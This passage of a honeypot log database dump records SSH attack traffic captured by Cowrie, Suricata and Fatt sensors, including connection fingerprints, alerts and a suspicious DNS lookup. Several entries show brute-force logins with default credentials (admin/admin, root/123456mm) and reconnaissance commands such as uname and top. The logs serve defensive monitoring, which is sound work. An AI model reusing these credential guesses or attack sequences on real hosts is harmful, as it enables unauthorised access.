"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
20051	8.9.231.227	109.199.241.180	Suricata	2021-09-20 14:03:20.535323+03	2021-09-20 14:15:01.887612+03	{"_id": "0wXfAnwBvYTbRNuE6Pc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.53.57.8452213109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:20.162857+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.9.231.227", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1394408016084009, "payload": "AAAAVC4eAAAAIBimRsZzdyx5IoV8WhGdPHkxRAHQpHHGhBfnzD9P6moW1YTBrpRS5KZ+h4x6riwtFMrY2I/BeO/vpnq8wdaV2oW9ivBjE1zQms40G0gZrw==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57191, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:20.535323Z", "@timestamp": "2021-09-20T11:03:20.535Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ..F.sw,y\\".|Z..<y1D...q.....?O.j......R..~..z.,-......x...z.........c.\\\\...4.H.."}}	1	\N	\N	alert	\N	\N
20052	8.9.231.227	109.199.241.180	Fatt	2021-09-20 14:03:20.535235+03	2021-09-20 14:15:01.888613+03	{"_id": "1QXfAnwBvYTbRNuE6fcP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.9.231.227", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "dma_code": 511, "latitude": 39.0481, "location": {"lat": 39.0481, "lon": -77.4728}, "timezone": "America/New_York", "city_name": "Ashburn", "longitude": -77.4728, "postal_code": "20149", "region_code": "VA", "region_name": "Virginia", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.9.231.227", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.53.57.8452213109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 57191, "dest_port": 22, "timestamp": "2021-09-20T11:03:20.535235", "@timestamp": "2021-09-20T11:03:20.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20053	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:20.327605+03	2021-09-20 14:15:01.890613+03	{"_id": "1gXfAnwBvYTbRNuE6fcP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:20.327605Z", "@timestamp": "2021-09-20T11:03:20.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20054	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:20.897747+03	2021-09-20 14:15:01.891614+03	{"_id": "1wXfAnwBvYTbRNuE6fcP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "81.71.17.12", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5707740783691406, "duplicate": true, "timestamp": "2021-09-20T11:03:20.897747Z", "@timestamp": "2021-09-20T11:03:20.897Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20055	8.29.105.26	109.199.241.180	Cowrie	2021-09-20 14:03:20.333827+03	2021-09-20 14:15:01.892613+03	{"_id": "2gXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.29.105.26", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.29.105.26", "eventid": "cowrie.login.success", "message": "login attempt [admin/admin] succeeded", "session": "71929d32c834", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:03:20.333827Z", "@timestamp": "2021-09-20T11:03:20.333Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
20056	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:03:20.089987+03	2021-09-20 14:15:01.893613+03	{"_id": "3QXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b3ec9d554cf7", "@version": "1", "duration": 2.1706583499908447, "timestamp": "2021-09-20T11:03:20.089987Z", "@timestamp": "2021-09-20T11:03:20.089Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20057	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:20.327063+03	2021-09-20 14:15:01.894612+03	{"_id": "4QXfAnwBvYTbRNuE6fdZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:20.327063Z", "@timestamp": "2021-09-20T11:03:20.327Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20058	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:16.491886+03	2021-09-20 14:15:01.895612+03	{"_id": "rAXfAnwBvYTbRNuE2fdq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:16.491886Z", "@timestamp": "2021-09-20T11:03:16.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
29488	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:26:42.92959+03	2021-09-20 14:30:04.190524+03	{"_id": "2wb1AnwBvYTbRNuETzX5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 59282, "type": "query", "tx_id": 0, "rrname": "betaalverzoek.ir", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1467708167302966, "@version": "1", "in_iface": "enp5s0", "src_port": 47365, "dest_port": 53, "timestamp": "2021-09-20T11:26:42.929590Z", "@timestamp": "2021-09-20T11:26:42.929Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20059	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:03:17.916647+03	2021-09-20 14:15:01.897613+03	{"_id": "sgXfAnwBvYTbRNuE3fef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 178.128.20.19:40744 (192.168.176.2:22) [session: b3ec9d554cf7]", "session": "b3ec9d554cf7", "@version": "1", "protocol": "ssh", "src_port": 40744, "dest_port": 22, "timestamp": "2021-09-20T11:03:17.916647Z", "@timestamp": "2021-09-20T11:03:17.916Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20060	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:17.046834+03	2021-09-20 14:15:01.898613+03	{"_id": "sQXfAnwBvYTbRNuE3fef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "81.71.17.12", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "c2e41eb66fda", "@version": "1", "duration": 0.5557770729064941, "duplicate": true, "timestamp": "2021-09-20T11:03:17.046834Z", "@timestamp": "2021-09-20T11:03:17.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
20061	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:03:17.919603+03	2021-09-20 14:15:01.899613+03	{"_id": "tQXfAnwBvYTbRNuE3fef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "b3ec9d554cf7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:03:17.919603Z", "@timestamp": "2021-09-20T11:03:17.919Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20062	178.128.20.19	109.199.241.180	Suricata	2021-09-20 14:03:18.090181+03	2021-09-20 14:15:01.900612+03	{"_id": "uwXfAnwBvYTbRNuE4Pdp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:17.743835+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "178.128.20.19", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 215055093553563, "payload": "AAADzAYUu5+c7LC4qtanPBPgYZyBKQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40744, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:03:18.090181Z", "@timestamp": "2021-09-20T11:03:18.090Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...............<..a..)...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
20063	178.128.20.19	109.199.241.180	Fatt	2021-09-20 14:03:18.090181+03	2021-09-20 14:15:01.902613+03	{"_id": "vAXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "178.128.20.19", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40744, "dest_port": 22, "timestamp": "2021-09-20T11:03:18.090181", "@timestamp": "2021-09-20T11:03:18.090Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
20064	178.128.20.19	109.199.241.180	Cowrie	2021-09-20 14:03:18.915035+03	2021-09-20 14:15:01.903613+03	{"_id": "vQXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "178.128.20.19", "asn": 1241, "as_org": "Forthnet", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "178.128.20.19", "eventid": "cowrie.login.failed", "message": "login attempt [root/123456mm] failed", "session": "b3ec9d554cf7", "@version": "1", "password": "123456mm", "username": "root", "timestamp": "2021-09-20T11:03:18.915035Z", "@timestamp": "2021-09-20T11:03:18.915Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
20065	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:03:18.391204+03	2021-09-20 14:15:01.904612+03	{"_id": "wAXfAnwBvYTbRNuE4fc8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "c2e41eb66fda", "@version": "1", "timestamp": "2021-09-20T11:03:18.391204Z", "@timestamp": "2021-09-20T11:03:18.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20066	8.29.105.26	109.199.241.180	Suricata	2021-09-20 14:03:19.729664+03	2021-09-20 14:15:01.906614+03	{"_id": "wwXfAnwBvYTbRNuE5PdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.68.99.1134321"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:03:19.243179+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1222}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in 